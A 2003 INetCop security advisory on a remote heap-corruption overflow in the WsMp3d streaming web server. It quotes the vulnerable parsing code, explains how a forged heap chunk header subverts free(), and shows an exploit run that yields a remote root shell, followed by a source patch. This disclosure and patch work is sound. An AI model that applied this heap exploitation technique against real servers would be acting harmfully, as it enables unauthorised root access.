
INetCop Security Advisory #2003-0x82-017.b

* Title: Remote Heap Corruption Overflow vulnerability in WsMp3d (Again)

0x01. Description

WsMp3d is webserver daemon that can enjoy mp3. (shoutcast-server)

There is WsMp3 Heap vulnerability is found in former days.

This vulnerability too, it is security bug that happen based on Heap.

Doing version up, bug of code was existed.

This is contents that work in main() function.

```
`src/main.c':  
  --  
  ...  
435      conn_req=parse_request(recvBuffer);  
  ...  
870      rem_req_descriptor(conn_req); //elimina la richiesta  
871  }  
872  return 0;  
873 }  
  --
```

line:435 - malloc() part;

line:870 - free() part;

`src/req_descriptor.c':

```
--
...
188 req_descriptor* parse_request(char *req)
...
190 req_descriptor* ritorno;
191 char reqcpy[BUFSIZE];
...
194 if( (ritorno=((req_descriptor *)malloc(sizeof(req_descriptor))))==NULL )
195     {
196         fprintf(usr_cnsl,"Not enough memory!!! \n");
197         exit(1);
198     }
...
203 for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
204 strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
205 ritorno->action=get_op(reqcpy); /* 1. here, desc->action data */
206
207 for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
208 strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
209 if(ritorno->action!=NULL)
210     {
211         /* 2. here, desc->what data */
212         if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1) ;
213         else ritorno->what=nomefile(reqcpy,0);
214     }
214 else ritorno->what=NULL;
--
```

1. desc->action data -

`src/utils.c':

```
--  
220 char* get_op(char *buf)  
221 {  
222     char* op;  
    ...  
224     if((op=(char *)malloc(10))==NULL)  
    ...  
250     return op;  
251 }  
--
```

2. desc->what data -

`src/utils.c':

```
--  
170 char* nomefile(char *buf,const int msg)  
171 {  
172     char *cp, *cp2,*ritorno;  
    ...  
176     cp=buf+(strlen(get_op(buf))+2); //buf+5;  
    ...  
186     if((ritorno=(char *)malloc(1024))==NULL)  
    ...  
201     strcat(ritorno,cp);  
    ...  
213     return ritorno;  
214 }  
--
```

These two variables can become all overflows.

Only, in case of desc->action variable,

input and achieve normally "CHA" command. (`src/req_descriptor.c' line:211)

Buffer that must attack becomes desc->what.

Now, investigate free's structure.

`src/req_descriptor.c':

```
--  
...  
112 void rem_req_descriptor(req_descriptor *desc)  
113 {  
...  
116     if((desc->action)!=NULL)  
117         {for(i=0;i<10;i++) desc->action[i]='\0';free(desc->action);desc->action=NULL;}  
118     if((desc->what)!=NULL)  
119         {for(i=0;i<1024;i++) desc->what[i]='\0';free(desc->what);desc->what=NULL;}  
...  
    /* all free */  
...  
--
```

It seems to delete all important data.

However, be thought-out.

Attacker tries to make imitation chunk header passing data of original.

Then, before call "free", 1024byte data that delete is useless.

```

--
void rem_req_descriptor(req_descriptor *desc) {

desc->what: [XXXXXXXXXX...garbage...XXXXXXXXXXXX][prev_size][size(P)][fd][bk]

if((desc->what)!=NULL) {for(i=0;i<1024;i+ +) desc->what[i]='\ 0; // why? only 1024byte ;-}

desc->what: [          ...cleanup...          ][prev_size][size(P)][fd][bk]

free(desc->what);
--

```

Finally, information that attacker changes completely is inserted.

Important point must put shellcode in other place because all datas are removed before free.

0x02. Vulnerable Packages

Vendor site: <http://wsmp3.sourceforge.net/>

WsMp3-0.0.10.tar.gz version. (exploitable)

+Linux

WsMp3-0.0.9.tar.gz version.

WsMp3-0.0.8.tar.gz version.

web_server-0.0.7.tar.gz version.

-old heap bug version:

web_server-0.0.6.tar.gz version.

web_server-0.0.5.tar.gz version.

web_server-0.0.4.tar.gz version.

web_server-0.0.3.tar.gz version.

web_server-0.0.2.tar.gz version.

web_server-0.0.1.tar.gz version.

0x03. Exploit

We in remote exploit succeed.

```
bash$ ./0x82 - -Remote.WsMp3d.again -h 61.37.xxx.xx -t2
```

WsMp3 Server Heap Corruption Remote root exploit (Again)
by Xpl017Elz.

```
[+] Hostname: 61.37.xxx.xx  
[+] Port num: 8000  
[+] Retloc address: 0x8058d8c  
[+] Retaddr address: 0x80648bf  
[1] #1 Set socket.  
[2] First, send exploit packet.  
[3] #2 Set socket.  
[4] Second, send exploit packet.  
[5] Waiting, executes the shell ! (3Sec)  
[6] Trying 61.37.xxx.xx:36864 ...  
[7] Connected to 61.37.xxx.xx:36864 !  
  
[*] Executed shell successfully !
```

```
Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 17:08:15 KST 1999 i586 unknown  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
bash#
```

This will announce a next day.

/* P.S: See uname information, WhOops, oh dear! That is i586!! hehe! */

0x04. Patch

=== req_descriptor.patch ===

```
--- req_descriptor.c    Mon Dec  2 22:21:35 2002
+++ req_descriptor.patch.c    Sat May  3 03:25:32 2003
@@ -201,11 +201,11 @@
     if(PDEBUG) printf("Entro in parse_request \n");

     for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-   strncpy(reqcpy,req,strlen(req));
+   strncpy(reqcpy,req,(10-1));
   ritorno->action=get_op(reqcpy);

   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-   strncpy(reqcpy,req,strlen(req));
+   strncpy(reqcpy,req,(1024-1));
   if(ritorno->action!=NULL)
   {
       if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1) ;
@@ -214,55 +214,55 @@
       else ritorno->what=NULL;

       for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-   strncpy(reqcpy,req,strlen(req));
+   strncpy(reqcpy,req,(1024-1));
   ritorno->host=gimme_line(reqcpy,"Host: ");

   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-   strncpy(reqcpy,req,strlen(req));
+   strncpy(reqcpy,req,(1024-1));
   ritorno->agent=gimme_line(reqcpy,"User-Agent: ");

   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
```

```

- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->accept=gimme_line(reqcpy,"Accept: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->lang=gimme_line(reqcpy,"Accept-Language: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->enc=gimme_line(reqcpy,"Accept-Encoding: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->charset=gimme_line(reqcpy,"Accept-Charset: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->keep=gimme_line(reqcpy,"Keep-Alive: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->conn=gimme_line(reqcpy,"Connection: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));
+ strncpy(reqcpy,req,(1024-1));
ritorno->referer=gimme_line(reqcpy,"Referer: ");

for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
- strncpy(reqcpy,req,strlen(req));

```

```
+ strncpy(reqcpy, req, (1024 - 1));
ritorno->pragma=gimme_line(reqcpy, "Pragma: ");

for(i=0; i<BUFSIZE; i++) reqcpy[i]=' \ 0';
- strncpy(reqcpy, req, strlen(req));
+ strncpy(reqcpy, req, (1024 - 1));
ritorno->contentType=gimme_line(reqcpy, "Content - Type: ");

for(i=0; i<BUFSIZE; i++) reqcpy[i]=' \ 0';
- strncpy(reqcpy, req, strlen(req));
+ strncpy(reqcpy, req, (1024 - 1));
ritorno->contentLength=gimme_line(reqcpy, "Content - Length: ");

for(i=0; i<BUFSIZE; i++) reqcpy[i]=' \ 0';
- strncpy(reqcpy, req, strlen(req));
+ strncpy(reqcpy, req, (1024 - 1));
ritorno->content=gimme_content(reqcpy);
for(i=0; i<BUFSIZE; i++) reqcpy[i]=' \ 0';
return ritorno;
```

=== eof ===

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--